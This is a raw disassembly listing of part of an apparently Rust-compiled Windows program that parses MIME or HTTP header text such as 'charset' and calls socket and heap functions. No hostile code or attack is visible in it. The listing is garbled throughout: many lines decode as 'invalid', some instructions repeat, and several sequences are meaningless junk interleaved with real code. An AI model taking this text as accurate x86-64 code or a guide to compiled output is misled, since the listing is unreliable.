movaps xmm2, xmmword [rbx + 0x260]
movdqa xmmword [rbx + 0x6e0], xmm0
movaps xmmword [rbx + 0x6f0], xmm1
movaps xmmword [rbx + 0x700], xmm2
mov byte [rbx + 0x710], 0
mov eax, dword [rbx + 0xba0]
mov ecx, dword [rbx + 0xba3]
mov dword [rbx + 0x714], ecx
mov dword [rbx + 0x711], eax
lea r12, [rbx + 0x490]
pxor xmm6, xmm6
lea rsi, [rbx + 0x880]
lea r15, [0x1400113fc]
xor eax, eax
mov r13, qword [rbx + 0xf8]
mov dword [rbx + 0xa8], r14d
test al, al
je 0x14000aa40
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
movzx eax, al
cmp eax, 3
jne 0x14000f1fc
test dword [rax], esp
add byte [rax], al
movzx eax, byte [rbx + 0x670]
test eax, eax
je 0x14000b03d
test byte [rdx + 6], dl
add byte [rax], al
test byte [rdx + 6], dl
push rdx
invalid
add byte [rax], al
cmp eax, 3
jne case.default.0x14000aa09
movzx eax, byte [rbx + 0x4f9]
cmp ecx, 4
stc
add al, 0
add byte [rax], al
lea rcx, [0x1400113e4]
add byte [rax], al
lea rcx, [0x1400113e4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rbx + 0x500]
mov rdx, qword [rax]
jmp 0x14000b131
invalid
add byte [rax - 0x75], cl
sbb dword [rax], 5
add byte [rax], al
lea rsi, [rbx + 0x880]
jmp 0x14000b429
mov rax, qword [rbx + 0x500]
lea rsi, [rbx + 0x880]
jmp 0x14000b1cd
mov r8d, 0x98
lea rcx, [rbx + 0x3f0]
lea rdx, [rbx + 0x678]
call sub.VCRUNTIME140.dll_memcpy
mov r13, qword [rbx + 0x3e0]
mov rdi, qword [rbx + 0x3e8]
movups xmm0, xmmword [0x1401e9618]
movaps xmmword [rbx + 0x890], xmm0
movdqu xmm0, xmmword [0x1401e9608]
movdqa xmmword [rbx + 0x880], xmm0
lea rcx, [rbx + 0x410]
mov rdx, rsi
call fcn.1400a8a40
test rax, rax
je 0x14000aaf0
mov rdx, qword [rax]
mov r8, qword [rax + 8]
xor eax, eax
nop word cs:[rax + rax]
cmp r8, rax
je 0x14000aad0
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, 9
je 0x14000aab0
mov rcx, rsi
call fcn.14009c310
cmp dword [rbx + 0x8a0], 2
jne 0x14000ab7e
mov r10, rdi
mov qword [rbx + 0x3a0], 2
xor r8d, r8d
xor eax, eax
test r8, r8
cmovne r13, r8
cmove r14, r10
lea rax, [rbx + 0x9c8]
enter 9, 0
enter 9, 0
movdqu xmmword [rax - 0x147], xmm6
mov word [rax - 0x137], 0
invalid
invalid
inc dword [rax]
add byte [rbp - 0x7b], cl
invalid
je 0x14000ab69
invalid
lea rdx, [r13 + 1]
add r13, 2
invalid
add dh, byte [rcx]
ror byte [rcx + rcx*4 - 0x11], 0x4d
mov ebx, esi
nop dword [rax]
movzx esi, byte [rdx - 1]
mov ecx, esi
add ecx, 0xfffffff7
cmp ecx, 0x56
ja 0x14000ade6
invalid
xor eax, eax
mov r13, qword [rbx + 0xf8]
mov r14d, dword [rbx + 0xa8]
jmp 0x14000aff0
test r9, r9
je 0x14000ac80
cmp r9, 1
jne 0x14000aafe
cmp qword [rbx + 0xa0], r11
je 0x14000aafe
cmp byte [rbx + 0x380], 0
mov rdx, qword [rbx + 0x390]
mov rcx, qword [rbx + 0x388]
cmovne rcx, rdx
cmovne rdx, qword [rbx + 0x398]
mov rax, qword [r11]
mov rdi, qword [r11 + 8]
mov rsi, rdi
sub rsi, rax
jb 0x14000ef21
mov r8, qword [r11 + 0x10]
mov r9, qword [r11 + 0x18]
test rax, rax
je 0x14000aca5
cmp rax, rdx
jae 0x14000ac9f
cmp byte [rcx + rax], 0xc0
jge 0x14000aca5
jmp 0x14000ef21
mov r9d, 2
mov r14d, 5
lea rax, str.charsetutf_8C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823mime_0.3.17_srclib.rs
lea r8, [0x1401e82bf]
jmp 0x14000ad24
jne 0x14000ef21
test rdi, rdi
je 0x14000acc0
cmp rdi, rdx
jae 0x14000acba
invalid
or eax, dword [rax + 0x7fbf393c]
or ebp, ecx
add byte [eax], al
cmp byte [rcx + rdi], 0xbf
jg 0x14000acc0
jmp 0x14000ef21
jne 0x14000ef21
add byte [rax], al
mov r14, r9
sub r14, r8
jb 0x14000ef3a
test r8, r8
je 0x14000ace8
sal byte [rdi + rdx + 0x49], 0x39
sal byte [rbx + 0xc], 1
cmp r8, rdx
jae 0x14000ace2
cmp byte [rcx + r8], 0xc0
jge 0x14000ace8
jmp 0x14000ef3a
pop rax
add byte [rax], al
invalid
add byte [rdi], cl
test dword [rdx + 0x42], edx
add byte [rax], al
jne 0x14000ef3a
test r9, r9
je 0x14000ad04
cmp r9, rdx
jae 0x14000acfe
invalid
or al, 0x42
cmp byte [rcx + rcx], 0xbf
cmp byte [rcx + r9], 0xbf
jg 0x14000ad04
jmp 0x14000ef3a
jne 0x14000ef3a
add byte [rax], al
add r11, 0x20
mov r9d, 1
cmp rsi, 7
invalid
jne 0x14000ac10
invalid
add rax, rcx
add r8, rcx
mov r9d, 1
movzx ecx, byte [rax]
lea edi, [rcx - 0x41]
cmp dil, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x63
jne 0x14000ac10
invalid
dec dword [rdi]
mov dh, 0x48
add dword [rbp - 0x57f40af], ecx
sbb cl, byte [rdi]
xchg edx, eax
ret 0xe2c0
movzx ecx, byte [rax + 1]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
add eax, 0xfa80ca08
push 0xfffffffffeb6850f
invalid
invalid
add eax, 0xfa80ca08
push 0xfffffffffeb6850f
invalid
movzx ecx, byte [rax + 2]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x61
jne 0x14000ac10
movzx ecx, byte [rax + 3]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x72
jne 0x14000ac10
movzx ecx, byte [rax + 4]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x73
jne 0x14000ac10
invalid
dec dword [rdi]
mov dh, 0x48
add eax, 0x80bf518d
cli
movzx ecx, byte [rax + 5]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
sbb cl, byte [rdi]
xchg edx, eax
ret 0xe2c0
add eax, 0xfa80ca08
jne 0x14000ac10
invalid
invalid
sbb cl, byte [rdi]
xchg edx, eax
ret 0xe2c0
add eax, 0xfa80ca08
jne 0x14000ac10
invalid
invalid
invalid
movzx eax, byte [rax + 6]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
loope 0x14000addb
loope 0x14000addb
or cl, al
cmp cl, 0x74
jne 0x14000ac10
jmp 0x14000ab01
invalid
mov r8d, 0x98
lea rcx, [rbx + 0x540]
mov rdi, rsi
lea rsi, [rbx + 0x5d8]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x90
mov rcx, rdi
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rbx + 0xc30], xmm0
movaps xmmword [rbx + 0xc40], xmm1
lea rcx, [rbx + 0x8a0]
call fcn.1400a8d60
lea rcx, [rbx + 0x900]
call fcn.140075970
mov rax, qword [rbx + 0xc90]
mov qword [r12 + 0x60], rax
movaps xmm0, xmmword [rbx + 0xc80]
movups xmmword [r12 + 0x50], xmm0
movaps xmm0, xmmword [rbx + 0xc70]
jo 0x14000b0c4
add byte [rax], al
jo 0x14000b0c4
add byte [rax], al
movups xmmword [r12 + 0x40], xmm0
movaps xmm0, xmmword [rbx + 0xc30]
add byte [rdi], cl
sub byte [rbx + 0xc40], cl
or al, 0
add byte [rdi], cl
sub byte [rbx + 0xc40], cl
movaps xmm2, xmmword [rbx + 0xc50]
movaps xmm3, xmmword [rbx + 0xc60]
sub byte [rbx + 0xc60], bl
sub byte [rbx + 0xc60], bl
movups xmmword [r12 + 0x30], xmm3
movups xmmword [r12 + 0x20], xmm2
and al, 0x20
and al, 0x20
movups xmmword [r12 + 0x10], xmm1
movups xmmword [r12], xmm0
mov byte [rbx + 0x4f9], 0
mov byte [rbx + 0x4f8], 0
movdqu xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
lea rdx, [rbx + 0x4b0]
movups xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
mov qword [rbx + 0x4f0], rdx
lea rax, [rbx + 0x4f0]
mov qword [rbx + 0x500], rax
lea rsi, [rbx + 0x880]
mov rcx, rsi
lea r8, [rbx + 0xb60]
call fcn.1400a69b0
mov rcx, qword [rbx + 0x880]
cmp rcx, 2
jne 0x14000b160
mov al, 3
jmp 0x14000b44e
mov rdx, qword [rbx + 0x888]
mov rax, qword [rbx + 0x8a0]
lea rdi, [rbx + 0x890]
movdqu xmm0, xmmword [rdi]
movdqa xmmword [rbx + 0xc00], xmm0
cmp ecx, 1
jne 0x14000baf1
test rax, rax
je 0x14000bb08
mov byte [rbx + 0x4f8], 1
mov qword [rbx + 0x4d0], rdx
movdqa xmm0, xmmword [rbx + 0xc00]
lea rcx, [rbx + 0x3f0]
movdqu xmmword [rcx + 0xe8], xmm0
mov qword [rbx + 0x4e8], rax
lea rax, [rbx + 0x4f0]
mov qword [rbx + 0x500], rax
mov rdx, qword [rax]
mov rcx, rsi
lea r8, [rbx + 0xb60]
call fcn.1400a69b0
mov rcx, qword [rbx + 0x880]
cmp rcx, 2
jne 0x14000b200
mov al, 4
jmp 0x14000b44e
mov rdx, qword [rbx + 0x888]
mov rax, qword [rbx + 0x8a0]
lea rdi, [rbx + 0x890]
movdqu xmm0, xmmword [rdi]
movdqa xmmword [rbx + 0x7c0], xmm0
cmp ecx, 1
jne 0x14000bb9f
test rax, rax
je 0x14000bc8b
mov qword [rbx + 0x520], rdx
movaps xmm0, xmmword [rbx + 0x7c0]
lea rcx, [rbx + 0x3f0]
movups xmmword [rcx + 0x138], xmm0
mov qword [rbx + 0x538], rax
mov rax, qword [rbx + 0x4f0]
cmp qword [rax + 0x18], 0
je 0x14000b26a
add rax, 8
jmp 0x14000b27e
mov rdx, qword [rax]
mov rax, qword [rax + 8]
mov rcx, rsi
call qword [rax + 0x30]
lea rax, [rbx + 0x890]
mov rax, qword [rax]
cmp rax, 0x4000
mov ecx, 0x4000
cmovae rax, rcx
mov rcx, qword [rbx + 0x4d8]
add rcx, qword [rbx + 0x528]
mov rdx, 0xffffffffffffffff
cmovb rcx, rdx
mov rsi, rcx
add rsi, rax
cmovb rsi, rdx
or rcx, rax
je 0x14000b2fe
test rsi, rsi
js 0x14000f20f
mov r12, r13
mov rax, qword [0x140221370]
test rax, rax
jne 0x14000b2e6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f216
mov qword [0x140221370], rax
mov rcx, rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
jne 0x14000b306
jmp 0x14000f216
mov r12, r13
mov eax, 1
mov qword [rbx + 0x500], rsi
mov qword [rbx + 0x508], rax
mov qword [rbx + 0x510], 0
mov byte [rbx + 0x4f8], 0
lea rsi, [rbx + 0x3f0]
movups xmm0, xmmword [rsi + 0xe0]
movups xmm1, xmmword [rsi + 0xf0]
movaps xmmword [rbx + 0x880], xmm0
movaps xmmword [rbx + 0x890], xmm1
lea rdi, [rbx + 0x500]
mov rcx, rdi
lea r13, [rbx + 0x880]
mov rdx, r13
call fcn.140131c30
movdqu xmm0, xmmword [rsi + 0x130]
movups xmm1, xmmword [rsi + 0x140]
mov rsi, r13
movaps xmmword [rbx + 0x890], xmm1
movdqa xmmword [rbx + 0x880], xmm0
mov rcx, rdi
mov rdx, r13
call fcn.140131c30
lea rax, [rbx + 0x4f0]
mov qword [rbx + 0x518], rax
mov r13, r12
lea r12, [rbx + 0x490]
jmp 0x14000b429
mov rdx, qword [rbx + 0x888]
mov rax, qword [rbx + 0x8a0]
lea rdi, [rbx + 0x9c8]
movdqu xmm0, xmmword [rdi - 0x138]
movdqa xmmword [rbx + 0x2a0], xmm0
cmp ecx, 1
jne 0x14000bb22
test rax, rax
je 0x14000bb6d
movdqa xmm0, xmmword [rbx + 0x2a0]
lea rcx, [rbx + 0x318]
movdqu xmmword [rcx], xmm0
mov qword [rbx + 0x310], rdx
mov qword [rbx + 0x328], rax
lea rcx, [rbx + 0x500]
lea rdx, [rbx + 0x310]
call fcn.140131c30
lea rax, [rbx + 0x4f0]
mov qword [rbx + 0x518], rax
mov rdx, qword [rax]
mov rcx, rsi
lea r8, [rbx + 0xb60]
call fcn.1400a69b0
mov rcx, qword [rbx + 0x880]
cmp rcx, 2
jne 0x14000b3b0
mov al, 5
mov byte [rbx + 0x4f9], al
mov byte [rbx + 0x670], 3
mov byte [rbx + 0x710], 3
cmp r14d, 0x3b9aca00
jne 0x14000b490
call fcn.14013e170
movzx eax, byte [rbx + 0x710]
test al, al
jne 0x14000a9d0
jmp 0x14000aa40
call fcn.1401484d0
mov r8d, edx
mov rcx, qword [rbx + 0xb0]
cmp rax, rcx
jb 0x14000b4b3
jne 0x14000bbfd
cmp r8d, r14d
jae 0x14000bbfd
mov qword [rbx + 0x880], rcx
mov dword [rbx + 0x888], r14d
mov rcx, rsi
mov rdx, rax
call fcn.1401486a0
cmp edx, 0x3b9aca00
mov ecx, 0
cmove edx, ecx
mov ecx, 0
cmovne rcx, rax
call fcn.14013e350
movzx eax, byte [rbx + 0x710]
test al, al
jne 0x14000a9d0
jmp 0x14000aa40
mov qword [rbx + 0xa0], r13
lea rcx, [rbx + 0x880]
lea rdx, [rbx + 0x1040]
mov r8d, 0xd8
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rbx + 0xba0]
movaps xmm1, xmmword [rbx + 0xbb0]
movaps xmmword [rbx + 0xb60], xmm0
movaps xmmword [rbx + 0xb70], xmm1
mov rax, qword [rbx + 0xbc0]
mov qword [rbx + 0xb80], rax
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000b56b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f2d8
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0xd0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f2d8
mov rsi, rax
movdqu xmmword [rax], xmm6
mov qword [rax + 0x30], 0
mov qword [rax + 0x98], 4
lock inc qword [rax]
jle 0x140010f6d
mov rax, qword [rbx + 0xd0]
mov qword [rbx + 0x380], rax
lea rcx, [rbx + 0x388]
lea rdx, [rbx + 0x880]
mov r8d, 0xd8
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbx + 0x460], r15
movaps xmm0, xmmword [rbx + 0xb60]
movaps xmm1, xmmword [rbx + 0xb70]
movups xmmword [rbx + 0x468], xmm0
movups xmmword [rbx + 0x478], xmm1
mov rax, qword [rbx + 0xb80]
mov qword [rbx + 0x488], rax
lea rcx, [rbx + 0xd80]
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
call fcn.140087110
mov rax, qword [rbx + 0xda0]
mov qword [rbx + 0x160], rax
movups xmm0, xmmword [rbx + 0xd80]
movups xmm1, xmmword [rbx + 0xd90]
movaps xmmword [rbx + 0x150], xmm1
movaps xmmword [rbx + 0x140], xmm0
movups xmm0, xmmword [rbx + 0xda8]
movaps xmmword [rbx + 0xc30], xmm0
movups xmm0, xmmword [rbx + 0xdb8]
movaps xmmword [rbx + 0xc40], xmm0
movups xmm0, xmmword [rbx + 0xdc8]
movaps xmmword [rbx + 0xc50], xmm0
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000b68d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f828
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x30
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f828
mov rdi, rax
movaps xmm0, xmmword [rbx + 0xc30]
movaps xmm1, xmmword [rbx + 0xc40]
movaps xmm2, xmmword [rbx + 0xc50]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movaps xmm0, xmmword [rbx + 0x140]
movaps xmm1, xmmword [rbx + 0x150]
movaps xmmword [rbx + 0x240], xmm0
movaps xmmword [rbx + 0x250], xmm1
mov rax, qword [rbx + 0x160]
mov qword [rbx + 0x260], rax
cmp qword [rbx + 0xa0], 0
je 0x14000b785
movups xmm0, xmmword [0x1401e9668]
movaps xmmword [rbx + 0x150], xmm0
movups xmm0, xmmword [0x1401e9658]
movaps xmmword [rbx + 0x140], xmm0
lea r15, [rbx + 0xd80]
mov rcx, r15
mov rdx, r12
call fcn.140086cd0
lea rcx, [rbx + 0xc30]
lea rdx, [rbx + 0x380]
lea r8, [rbx + 0x140]
mov r9, r15
call fcn.1400a7110
cmp byte [rbx + 0xc50], 2
je 0x14000b772
mov rax, qword [rbx + 0xc48]
lea rcx, [rbx + 0xc40]
mov rdx, qword [rbx + 0xc30]
mov r8, qword [rbx + 0xc38]
call qword [rax + reloc.WS2_32.dll_recv]
mov eax, 1
mov qword [rbx + 0xa0], rax
mov r15, qword [rbx + 0x460]
lea r13, [rbx + 0x468]
test r15, r15
je 0x14000b799
mov rcx, r13
call fcn.1400aef50
mov qword [rbx + 0x460], 1
mov qword [rbx + 0x468], rdi
lea rax, [0x1401e9198]
mov qword [rbx + 0x470], rax
xorps xmm0, xmm0
movups xmmword [rbx + 0x478], xmm0
movups xmm0, xmmword [rbx + 0x380]
movups xmm1, xmmword [rbx + 0x390]
movups xmm2, xmmword [rbx + 0x3a0]
movups xmm3, xmmword [rbx + 0x3b0]
movaps xmmword [rbx + 0xd80], xmm0
movaps xmmword [rbx + 0xd90], xmm1
movaps xmmword [rbx + 0xda0], xmm2
movaps xmmword [rbx + 0xdb0], xmm3
movups xmm0, xmmword [rbx + 0x3c0]
movaps xmmword [rbx + 0xdc0], xmm0
movups xmm0, xmmword [rbx + 0x3d0]
movaps xmmword [rbx + 0xdd0], xmm0
mov rax, qword [rbx + 0x3e0]
mov qword [rbx + 0xc0], rax
mov r15d, dword [rbx + 0x3e8]
mov eax, dword [rbx + 0x40c]
mov dword [rbx + 0xac0], eax
movups xmm0, xmmword [rbx + 0x3ec]
movups xmm1, xmmword [rbx + 0x3fc]
movaps xmmword [rbx + 0xab0], xmm1
movaps xmmword [rbx + 0xaa0], xmm0
mov rax, qword [rbx + 0x410]
mov qword [rbx + 0xe0], rax
mov rdi, qword [rbx + 0x418]
mov eax, dword [rbx + 0x420]
mov dword [rbx + 0xb8], eax
mov eax, dword [rbx + 0x424]
mov dword [rbx + 0x100], eax
movzx eax, byte [rbx + 0x458]
mov byte [rbx + 0x2b0], al
mov eax, dword [rbx + 0x45c]
mov dword [rbx + 0x7c3], eax
mov eax, dword [rbx + 0x459]
mov dword [rbx + 0x7c0], eax
mov rax, qword [r13 + 0x20]
mov qword [rbx + 0x160], rax
mov eax, dword [rbx + 0x428]
mov dword [rbx + 0xd0], eax
movups xmm0, xmmword [r13]
movups xmm1, xmmword [r13 + 0x10]
mov rax, qword [rbx + 0x260]
mov qword [rbx + 0x1d0], rax
mov eax, dword [rbx + 0xac0]
mov dword [rbx + 0xbf0], eax
movzx eax, byte [rbx + 0x2b0]
mov byte [rbx + 0xb00], al
mov eax, dword [rbx + 0x7c3]
mov dword [rbx + 0x113], eax
mov eax, dword [rbx + 0x7c0]
mov dword [rbx + 0x110], eax
mov rax, qword [rbx + 0x160]
mov qword [rbx + 0xa90], rax
mov eax, dword [rbx + 0x42c]
mov dword [rbx + 0x120], eax
mov qword [rbx + 0x800], r14
mov eax, dword [rbx + 0x430]
mov dword [rbx + 0xe8], eax
lea rax, [0x1401e9808]
mov qword [rbx + 0x808], rax
mov eax, dword [rbx + 0x434]
mov dword [rbx + 0x108], eax
mov rax, qword [rbx + 0xa0]
mov qword [rbx + 0x810], rax
mov eax, dword [rbx + 0x438]
mov dword [rbx + 0xf0], eax
mov qword [rbx + 0x818], r12
mov rax, qword [rbx + 0x1d0]
mov qword [rbx + 0x840], rax
mov eax, dword [rbx + 0x43c]
mov dword [rbx + 0x118], eax
movups xmm2, xmmword [rbx + 0x448]
movaps xmmword [rbx + 0x2a0], xmm2
movaps xmmword [rbx + 0x150], xmm1
movaps xmmword [rbx + 0x140], xmm0
movaps xmm0, xmmword [rbx + 0x240]
movaps xmm1, xmmword [rbx + 0x250]
movaps xmmword [rbx + 0x1c0], xmm1
movaps xmmword [rbx + 0x1b0], xmm0
movaps xmm0, xmmword [rbx + 0xd80]
movaps xmm1, xmmword [rbx + 0xd90]
movaps xmm2, xmmword [rbx + 0xda0]
movaps xmm3, xmmword [rbx + 0xdb0]
movaps xmmword [rbx + 0xc30], xmm0
movaps xmmword [rbx + 0xc40], xmm1
movaps xmmword [rbx + 0xc50], xmm2
movaps xmmword [rbx + 0xc60], xmm3
movaps xmm0, xmmword [rbx + 0xdc0]
movaps xmmword [rbx + 0xc70], xmm0
movaps xmm0, xmmword [rbx + 0xdd0]
movaps xmmword [rbx + 0xc80], xmm0
movaps xmm0, xmmword [rbx + 0xaa0]
movaps xmm1, xmmword [rbx + 0xab0]
movaps xmmword [rbx + 0xbd0], xmm0
movaps xmmword [rbx + 0xbe0], xmm1
movaps xmm0, xmmword [rbx + 0x2a0]
movaps xmmword [rbx + 0xaf0], xmm0
movaps xmm0, xmmword [rbx + 0x140]
movaps xmm1, xmmword [rbx + 0x150]
movaps xmmword [rbx + 0xa80], xmm1
movaps xmmword [rbx + 0xa70], xmm0
movaps xmm0, xmmword [rbx + 0x1b0]
movaps xmm1, xmmword [rbx + 0x1c0]
movups xmmword [rbx + 0x820], xmm0
movups xmmword [rbx + 0x830], xmm1
mov eax, dword [rbx + 0x440]
mov dword [rbx + 0x1a4], eax
movzx r14d, word [rbx + 0x444]
movzx eax, word [rbx + 0x446]
mov word [rbx + 0x198], ax
test rdi, rdi
je 0x14000bc99
js 0x14000f20f
mov rcx, qword [0x140221370]
test rcx, rcx
mov r13, rsi
jne 0x14000bacb
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000bae2
mov rcx, rax
mov qword [0x140221370], rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, rax
test rax, rax
jne 0x14000bca1
mov edx, 1
mov rcx, rdi
call fcn.14016c090
ud2
lea rax, method..virtual_32
mov qword [rbx + 0xf0], rax
lea rdi, [0x1401e46b0]
jmp 0x14000bb11
mov qword [rbx + 0xf0], rdx
xor edi, edi
xor r14d, r14d
xor eax, eax
mov qword [rbx + 0xe8], rax
jmp 0x14000c822
mov rsi, qword [rbx + 0x500]
mov rdi, qword [rbx + 0x508]
mov rax, qword [rbx + 0x510]
cmp rax, rsi
jne 0x14000c793
test rsi, rsi
je 0x14000cc5e
test dil, 1
mov qword [rbx + 0xf0], rdi
mov r14, rdi
jne 0x14000ce4a
or r14, 1
lea rdi, [0x1401ba018]
jmp 0x14000ce51
mov qword [rbx + 0xf0], rdx
cmp qword [rbx + 0x500], 0
je 0x14000c7f8
mov r8, qword [rbx + 0x508]
mov rcx, qword [0x140221370]
xor edi, edi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000c7fa
mov rax, qword [rbx + 0x4d0]
mov qword [rbx + 0xf0], rax
mov rax, qword [rbx + 0x4d8]
mov qword [rbx + 0xe8], rax
mov r14, qword [rbx + 0x4e0]
mov rdi, qword [rbx + 0x4e8]
lea rax, method..virtual_32
mov qword [rbx + 0x4d0], rax
pxor xmm0, xmm0
lea rax, [rbx + 0x3f0]
movdqu xmmword [rax + 0xe8], xmm0
lea rax, [0x1401e46b0]
mov qword [rbx + 0x4e8], rax
jmp 0x14000c7fa
movzx eax, byte [rbx + 0x710]
cmp eax, 3
je 0x14000cbce
xor r15d, r15d
mov ecx, 0
test eax, eax
mov r14, qword [rbx + 0xd8]
jne case.0x140007c11.247
lea rcx, [rbx + 0x698]
call fcn.1400a8d60
lea rcx, [rbx + 0x6f8]
call fcn.140075970
lea rcx, [rbx + 0x678]
call fcn.1400aef50
mov r8, qword [rbx + 0x708]
cmp qword [r8], 0
je 0x14000cc45
mov r8, qword [r8 + 8]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rbx + 0x708]
jmp 0x14000cc45
mov r13, qword [rbx + 0xf8]
mov r15, qword [rbx + 0xd0]
jmp 0x14000e427
mov qword [rbx + 0xf0], rdx
xor edi, edi
jmp 0x14000c7fa
mov ecx, 1
mov r13, rsi
mov qword [rbx + 0xbf8], rcx
mov rdx, qword [rbx + 0xe0]
mov qword [rbx + 0xc8], rdi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rbx + 0xaf0]
movzx eax, byte [rbx + 0xb00]
mov byte [rbx + 0x300], al
xor r9d, r9d
test r14w, r14w
setne al
xor r10d, r10d
cmp dword [rbx + 0xb8], 0
setne r8b
xor r11d, r11d
cmp dword [rbx + 0xd0], 0
setne dl
cmp r15d, 0x3b9aca00
mov ecx, dword [rbx + 0xa8]
cmovne ecx, r15d
mov dword [rbx + 0xa8], ecx
movaps xmmword [rbx + 0x2f0], xmm0
mov rsi, qword [rbx + 0xb0]
cmovne rsi, qword [rbx + 0xc0]
mov rdi, qword [rbx + 0xd8]
lea rcx, [rdi + 0x10]
mov rdi, qword [rdi + 0x10]
test rdi, rdi
cmove rcx, rdi
je 0x14000f64b
mov r9b, al
mov r10b, r8b
mov r11b, dl
movaps xmm0, xmmword [rbx + 0xc30]
movaps xmm1, xmmword [rbx + 0xc40]
movaps xmm2, xmmword [rbx + 0xc50]
movaps xmm3, xmmword [rbx + 0xc60]
movaps xmmword [rbx + 0x380], xmm0
movaps xmmword [rbx + 0x390], xmm1
movaps xmmword [rbx + 0x3a0], xmm2
movaps xmmword [rbx + 0x3b0], xmm3
movaps xmm0, xmmword [rbx + 0xc70]
movaps xmmword [rbx + 0x3c0], xmm0
movaps xmm0, xmmword [rbx + 0xc80]
movaps xmmword [rbx + 0x3d0], xmm0
movaps xmm0, xmmword [rbx + 0xbd0]
movaps xmm1, xmmword [rbx + 0xbe0]
movaps xmmword [rbx + 0x1b0], xmm0
movaps xmmword [rbx + 0x1c0], xmm1
mov eax, dword [rbx + 0xbf0]
mov dword [rbx + 0x1d0], eax
movzx eax, byte [rbx + 0xb00]
mov byte [rbx + 0x2b0], al
movaps xmm0, xmmword [rbx + 0xaf0]
movaps xmmword [rbx + 0x2a0], xmm0
mov eax, dword [rbx + 0x110]
mov edx, dword [rbx + 0x113]
mov dword [rbx + 0x853], edx
mov dword [rbx + 0x850], eax
mov rax, qword [rbx + 0xa90]
mov qword [rbx + 0x160], rax
movdqa xmm0, xmmword [rbx + 0xa70]
movaps xmm1, xmmword [rbx + 0xa80]
movaps xmmword [rbx + 0x150], xmm1
movdqa xmmword [rbx + 0x140], xmm0
mov rax, qword [rcx]
mov rax, qword [rax + 0x1c8]
nop
test al, 1
jne 0x14000ef58
cmp rax, 0xfffffffffffffffe
je case.0x140007eed.6
mov rdx, qword [rcx]
lea rdi, [rax + 2]
lock cmpxchg qword [rdx + 0x1c8], rdi
jne 0x14000be30
mov dword [rbx + 0x12c], r11d
mov dword [rbx + 0x130], r10d
mov dword [rbx + 0x134], r9d
mov qword [rbx + 0xb0], rsi
mov rdi, qword [rcx]
lea rcx, [rdi + 0x80]
mov r12d, 1
mov esi, 1
lock xadd qword [rdi + 0x88], rsi
mov rdx, rsi
call fcn.1400bcfa0
and esi, 0x1f
imul rcx, rsi, 0x118
movaps xmm0, xmmword [rbx + 0x380]
movaps xmm1, xmmword [rbx + 0x390]
movaps xmm2, xmmword [rbx + 0x3a0]
movaps xmm3, xmmword [rbx + 0x3b0]
movups xmmword [rax + rcx + 0x20], xmm2
movups xmmword [rax + rcx + 0x30], xmm3
movaps xmm2, xmmword [rbx + 0x3c0]
movups xmmword [rax + rcx + 0x40], xmm2
movaps xmm2, xmmword [rbx + 0x3d0]
movups xmmword [rax + rcx + 0x50], xmm2
movups xmmword [rax + rcx + 0x10], xmm1
movups xmmword [rax + rcx], xmm0
mov rdx, qword [rbx + 0xc0]
mov qword [rax + rcx + 0x60], rdx
mov dword [rax + rcx + 0x68], r15d
mov edx, dword [rbx + 0x1d0]
mov dword [rax + rcx + 0x8c], edx
movaps xmm0, xmmword [rbx + 0x1b0]
movaps xmm1, xmmword [rbx + 0x1c0]
movups xmmword [rax + rcx + 0x7c], xmm1
movups xmmword [rax + rcx + 0x6c], xmm0
mov rdx, qword [rbx + 0xe0]
mov qword [rax + rcx + 0x90], rdx
mov rdx, qword [rbx + 0xc8]
mov qword [rax + rcx + 0x98], rdx
mov edx, dword [rbx + 0xb8]
mov dword [rax + rcx + 0xa0], edx
mov edx, dword [rbx + 0x100]
mov dword [rax + rcx + 0xa4], edx
mov edx, dword [rbx + 0xd0]
mov dword [rax + rcx + 0xa8], edx
mov edx, dword [rbx + 0x120]
mov dword [rax + rcx + 0xac], edx
mov edx, dword [rbx + 0xe8]
mov dword [rax + rcx + 0xb0], edx
mov edx, dword [rbx + 0x108]
mov dword [rax + rcx + 0xb4], edx
mov edx, dword [rbx + 0xf0]
